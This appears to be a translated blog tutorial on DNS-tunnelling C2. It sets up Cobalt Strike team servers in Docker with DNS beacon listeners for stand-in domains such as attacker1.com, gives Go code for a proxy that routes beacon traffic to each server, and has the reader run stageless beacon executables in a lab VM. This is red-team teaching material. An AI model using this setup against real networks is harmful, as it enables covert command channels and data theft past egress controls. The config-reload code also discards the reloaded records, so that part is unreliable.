Создание DNS-сервера и прокси:


DNS-туннелирование — это техника извлечения данных, дающая возможность установить C2-канал из сетей с контролем исходящего трафика. Используя авторитетный DNS-сервер, злоумышленник может проложить маршрут через внутренние DNS-серверы организации и выйти через интернет, причем ему не потребуется прямое подключение к собственной инфраструктуре. Несмотря на медлительность такой атаки, защититься от нее сложно. DNS-туннелирование выполняется с помощью ряда открытых и проприетарных полезных нагрузок, одной из которых является Beacon от Cobalt Strike. В текущем разделе мы напишем собственный DNS-сервер и прокси, а также научимся с помощью Cobalt Strike мультиплексировать полезные нагрузки C2 для DNS-туннелирования.


Настройка Cobalt Strike:


Если вам доводилось использовать этот инструмент, то вы наверняка замечали, что по умолчанию team-сервер прослушивает порт 53. В связи с этим и с тем, что советует документация, в системе должен быть запущен только один сервер, поддерживая соотношение один к одному. Это может стать проблемой для средних и больших команд. Например, если у вас есть 20 команд, реализующих наступательные мероприятия против 20 отдельных организаций, то поддержка 20 систем, способных выполнять team-сервер, может стать затруднительной. Эта проблема касается не только Cobalt Strike и DNS, но и других протоколов, включая полезные нагрузки HTTP, такие как Metasploit Meterpreter и Empire. Несмотря на то что можно установить слушатели на различные порты, есть большая вероятность выхода трафика через такие стандартные TCP-порты, как 80 и 443. Отсюда возникает логичный вопрос: как вы и другие команды можете совместно использовать один порт и делать перенаправление на разных слушателей? Ответом будет, конечно же, прокси-сервер. Пора вернуться в лабораторию.

ПРИМЕЧАНИЕ


В реальных сценариях противодействия вам потребуется иметь несколько уровней маневрирования, абстрагирования и переадресации для маскировки team-сервера. Это можно реализовать с помощью UDP- и TCP-переадресации через небольшие вспомогательные серверы, использующие разных хостинг-провайдеров. Основной team-сервер и прокси также могут работать на разных системах. В этом случае кластер коллективного сервера размещается в обширной системе с большим объемом ОЗУ и мощным CPU.

Давайте запустим два экземпляра коллективного сервера в двух контейнерах Docker. Это позволит им прослушивать порт 53, а также даст каждому серверу возможность использовать собственную систему и, следовательно, собственный стек IP. Для сопоставления UDP-портов с хостом из контейнера мы будем применять встроенный в Docker сетевой механизм. Для начала скачайте пробную версию Cobalt Strike с https://trial.cobaltstrike.com/1. Для этого нужно создать пробную учетную запись, получив возможность скачать tar-архив. Теперь можно запускать team-серверы.


Для запуска первого контейнера выполните в терминале следующий код:

Написание DNS-серверов Linux, Хакеры, Информационная безопасность, Взлом, Google, Интернет, Длиннопост

Эта команда выполняет несколько действий. С ее помощью вы сообщаете Docker о необходимости удаления контейнера после выхода, а также о том, что после запуска будете с ним взаимодействовать. Далее идет сопоставление порта 2020 системы хоста с портом 53 в контейнере и порта 50051 с портом 50050. Затем каталог, содержащий архив Cobalt Strike, сопоставляется с каталогом данных в контейнере. Здесь можно указать любое имя каталога, и Docker без проблем его создаст. В завершение предоставляется образ, который нужно использовать (в данном случае Java), а также команда для выполнения при запуске.

Оказавшись внутри контейнера, запустите team-сервер с помощью следующих команд:

Написание DNS-серверов Linux, Хакеры, Информационная безопасность, Взлом, Google, Интернет, Длиннопост

Указываемый IP-адрес должен соответствовать текущей виртуальной машине, а не адресу контейнера.

Далее откройте новое окно терминала в хосте Ubuntu и перейдите в каталог с архивом Cobalt Strike. Выполните следующие команды для установки Java и запуска клиента Cobalt Strike:

Написание DNS-серверов Linux, Хакеры, Информационная безопасность, Взлом, Google, Интернет, Длиннопост

Должен запуститься Cobalt Strike GUI. После сообщения о пробной версии измените порт team-сервера на 50051, а также установите соответствующие имя пользователя и пароль.

Вы успешно подключились к серверу, полностью работающему в Docker-контейнере. Теперь повторим тот же процесс для запуска второго сервера. На этот раз будем сопоставлять другие порты. При этом вполне логичным будет увеличить значение порта на единицу. Выполните следующую команду в новом окне терминала, чтобы запустить новый контейнер и прослушивать порты 2021 и 50052:

Написание DNS-серверов Linux, Хакеры, Информационная безопасность, Взлом, Google, Интернет, Длиннопост

Из клиента Cobalt Strike создайте новое подключение, выбрав Cobalt Strike New Connection, изменив порт на 50052 и нажав Connect. Подключившись, вы должны увидеть в нижней части консоли две вкладки, с помощью которых можно переключаться между серверами.

Успешно завершив подключение к двум коллективным серверам, пора запустить два DNS-слушателя. Для создания слушателя выберите в меню пункт Configure Listeners. Он обозначен значком с изображением наушников. Из этого меню выберите Add, чтобы вызвать окно New Listener. Введите в нем следующее:

  • Name: DNS 1;

  • Payload: windows/beacon_dns/reverse_dns_txt;

  • Host: <IP address of host>;

  • Port: 0.

В этом примере установлен порт 80, но наша полезная нагрузка DNS по-прежнему использует порт 53. Это нормально. Порт 80 специально задействуется для гибридных полезных нагрузок. На скрине снизу показаны окно New Listener и информация, которую необходимо ввести.

Написание DNS-серверов Linux, Хакеры, Информационная безопасность, Взлом, Google, Интернет, Длиннопост

Добавление слушателя

Далее, как показано на скрине снизу, вам будет предложено указать домены, которые будут использоваться для установки маячков.

Написание DNS-серверов Linux, Хакеры, Информационная безопасность, Взлом, Google, Интернет, Длиннопост

Добавление домена DNS-маячка

Введите в качестве DNS-маячка домен attacker1.com. Он должен соответствовать имени домена, куда полезная нагрузка будет отправлять сигналы. Далее отобразится сообщение о запуске нового слушателя. Повторите этот процесс на другом team-сервере, используя значения DNS2 и attacker2.com. Прежде чем задействовать этих двух слушателей, нужно написать промежуточный сервер, который будет проверять DNS-сообщения и соответствующим образом их перенаправлять. Это и будет ваш прокси.


Создание DNS-прокси:


Используемый вами на протяжении этой главы DNS-пакет облегчает написание функции-посредника — вы уже работали с некоторыми такими функциями в предыдущих разделах. Наш прокси должен уметь:

  • создавать функцию-обработчик для приема входящего запроса;

  • проверять в этом запросе вопрос и извлекать имя домена;

  • определять вышестоящий DNS-сервер, соответствующий этому имени домена;

  • обмениваться вопросом с этим вышестоящим DNS-сервером и писать ответ клиенту.

В функции можно прописать обработку attacker1.com и attacker2.com как статических значений, но такой вариант не удастся поддерживать. Вместо этого следует искать записи во внешнем для программы источнике, например в базе данных или файле конфигурации. В приведенном далее коде это реализуется с помощью формата domain.server, который перечисляет входящие домен и вышестоящий сервер через точку. Чтобы запустить программу, создайте функцию для парсинга файла, содержащего записи в этом формате. Запишите код снизу в новый файл main.go.

Написание DNS-серверов Linux, Хакеры, Информационная безопасность, Взлом, Google, Интернет, Длиннопост

Написание DNS-прокси (/ch-5/dns_proxy/main.go)

В этом коде сначала мы определяем функцию, которая парсит файл с информацией о конфигурации и возвращает map[string]string. Эта карта будет использоваться для поиска входящего домена и извлечения вышестоящего сервера.

Введите в терминале первую команду приведенного далее кода, чтобы записать следующую за echo строку в файл proxy.config. Затем нужно скомпилировать и запустить dns_proxy.go.

Написание DNS-серверов Linux, Хакеры, Информационная безопасность, Взлом, Google, Интернет, Длиннопост

Что мы здесь видим? Вывод представляет сопоставление между именами доменов team-серверов и портом, который прослушивает DNS-сервер Cobalt Strike. Напомним, что в двух отдельных контейнерах Docker мы сопоставили порты 2020 и 2021 с портом 53. Здесь же использовали быстрый и грязный путь создания основной конфигурации для инструмента, чтобы вам не пришлось хранить его в базе данных или другом постоянном хранилище.

Определив карты записей, можно написать обработчик. Давайте уточним код, добавив в функцию main() приведенный далее фрагмент, который должен следовать за парсингом файла конфигурации:

Написание DNS-серверов Linux, Хакеры, Информационная безопасность, Взлом, Google, Интернет, Длиннопост

Код начинается с вызова HandleFunc() с точкой для обработки всех входящих запросов, а также определения анонимной функции, то есть функции, которую мы не собираемся использовать повторно (у нее нет имени). Это удобная структура на случай, когда вам не нужно повторно задействовать некий блок кода. Если же ее применение в нескольких местах все же подразумевается, то необходимо объявлять и вызывать ее как именованную функцию. Далее идет проверка среза входящих вопросов, гарантирующая, что все вопросы переданы. Если же нет, происходит вызов HandleFailed() и возврат для раннего выхода из функции. Такой шаблон используется во всем обработчике. Если присутствует хотя бы один вопрос, можно безопасно получить запрашиваемое имя из первого вопроса. Разделять имя точкой нужно для извлечения имени домена. В результате этого не должно получаться значение меньше 1, но на всякий случай стоит проверить. Хвост среза — элементы в его конце — можно получить, применив в срезе оператор slice. Теперь нужно извлечь вышестоящий сервер из карты записей.

При извлечении значения из карты могут возвращаться одна или две переменные. Если ключ (в нашем случае имя домена) в карте присутствует, будет возвращено соответствующее значение. Если же домен отсутствует, возвращается пустая строка. Можно проверять, является ли возвращенное значение пустой строкой, но это окажется неэффективным, когда вы начнете работать с более сложными типами. Вместо этого мы задаем две переменные: первая — это значение ключа, а вторая — логическое значение, возвращающее true, если ключ найден. Убедившись в совпадении, мы обмениваемся запросом с вышестоящим сервером. Здесь мы просто подтверждаем, что имя домена, для которого получен запрос, настроено в постоянном хранилище. Далее записывается ответ вышестоящего сервера клиенту. Определив функцию-обработчик, мы запускаем сервер. В завершение можно собирать и запускать прокси.

После запуска мы протестируем его с помощью двух слушателей Cobalt Strike. Для этого сначала нужно создать два самостоятельных (stageless) исполняемых файла. В верхнем меню Cobalt Strike нажмите значок с изображением шестеренки и измените формат вывода на Windows Exe. Повторите процесс из каждого team-сервера. Скопируйте эти исполняемые файлы в Windows VM и запустите. DNS-сервер Windows VM должен иметь IP-адрес вашего Linux-хоста. В противном случае тест не сработает.

На это уйдет какое-то время, но в итоге вы должны увидеть, что в каждом team-сервере установлен маячок. Миссия выполнена!


Финальные штрихи:


Все отлично, но когда вам нужно изменить IP-адрес team-сервера или переадресатора, а также в случаях добавления записи, потребуется перезапускать сервер. Маячки, скорее всего, переживут этот процесс, но зачем рисковать, если есть лучшее решение? Можно использовать сигналы процесса, сообщая выполняющейся программе о необходимости перезагрузки файла конфигурации. Об этом трюке я впервые узнал от Мэтта Холта (Matt Holt), который реализовал его на прекрасном Caddy Server. На скрине снизу показана вся программа с уже добавленной логикой отправки сигнала процесса.

package main


import (

"bufio"

"fmt"

"log"

"os"

"os/signal"

"strings"

"sync"

"syscall"


"github.com/miekg/dns"

)


func parse(filename string) (map[string]string, error) {

records := make(map[string]string)

fh, err := os.Open(filename)

if err != nil {

return records, err

}

defer fh.Close()

scanner := bufio.NewScanner(fh)

for scanner.Scan() {

line := scanner.Text()

parts := strings.SplitN(line, ",", 2)

if len(parts) < 2 {

return records, fmt.Errorf("%s is not a valid line", line)

}

records[parts[0]] = parts[1]

}

log.Println("records set to:")

for k, v := range records {

fmt.Printf("%s -> %s\n", k, v)

}

return records, scanner.Err()

}


func main() {

var recordLock sync.RWMutex


records, err := parse("proxy.config")

if err != nil {

panic(err)

}


dns.HandleFunc(".", func(w dns.ResponseWriter, req *dns.Msg) {

if len(req.Question) == 0 {

dns.HandleFailed(w, req)

return

}

fqdn := req.Question[0].Name

parts := strings.Split(fqdn, ".")

if len(parts) >= 2 {

fqdn = strings.Join(parts[len(parts)-2:], ".")

}

recordLock.RLock()

match := records[fqdn]

recordLock.RUnlock()

if match == "" {

dns.HandleFailed(w, req)

return

}

resp, err := dns.Exchange(req, match)

if err != nil {

dns.HandleFailed(w, req)

return

}

if err := w.WriteMsg(resp); err != nil {

dns.HandleFailed(w, req)

return

}

})


go func() {

sigs := make(chan os.Signal, 1)

signal.Notify(sigs, syscall.SIGUSR1)


for sig := range sigs {

switch sig {

case syscall.SIGUSR1:

log.Println("SIGUSR1: reloading records")

recordLock.Lock()

parse("proxy.config")

recordLock.Unlock()

}

}

}()


log.Fatal(dns.ListenAndServe(":53", "udp", nil))


}

Здесь есть несколько дополнений. Поскольку программа будет изменять карту, которая может в это время использоваться параллельными горутинами, необходимо применить мьютекс для контроля доступа. Мьютекс предотвращает одновременное выполнение чувствительных блоков кода, позволяя закрывать и открывать доступ. В этом случае мы применяем RWMutex, давая любой горутине возможность производить чтение, не блокируя другие горутины, но запрещая им доступ в процессе записи. Если же реализовать горутины без мьютекса на используемых ресурсах, то возникнет чередование, что может привести к состоянию гонки и даже худшим последствиям.

Перед обращением к карте в обработчике происходит вызов RLock для считывания значения в match. По завершении чтения вызывается RUnlock, освобождая карту для следующей горутины. В анонимной функции, выполняющейся в новой горутине, мы начинаем процесс прослушивания сигнала. Это делается с помощью канала типа os.Signal, передаваемого в вызове к signal.Notify() вместе с фактическим сигналом, получаемым каналом SIGUSR1, который сам является сигналом, зарезервированным для различных целей. В цикле перебора этих сигналов с помощью инструкции match определяется тип полученного сигнала.

Мы настроили мониторинг только одного сигнала, но в дальнейшем это можно изменить, так что данный шаблон окажется универсальным. В завершение перед перезагрузкой текущей конфигурации используется Lock() для блокирования всех горутин, которые могут попробовать произвести чтение из записей карты. Для продолжения выполнения применяется Unlock().

Давайте протестируем программу, запустив прокси и создав новый слушатель в существующем team-сервере. Используйте домен attacker3.com. При запущенном прокси измените файл proxy.config, добавив новую строку, направляющую домен на слушатель. Сигнализировать процессу о необходимости перезагрузки конфигурации можно с помощью kill, но сначала используйте ps и grep для определения его ID процесса:

Написание DNS-серверов Linux, Хакеры, Информационная безопасность, Взлом, Google, Интернет, Длиннопост

Прокси должен перезагрузиться. Проверьте это, создав и выполнив новый самостоятельный исполняемый файл. Теперь прокси должен быть работоспособен и готов к использованию.

ССЫЛКА НА ТЕЛЕГРАМ КАНАЛ АВТОРА

Показать полностью 17
Отличная работа, все прочитано!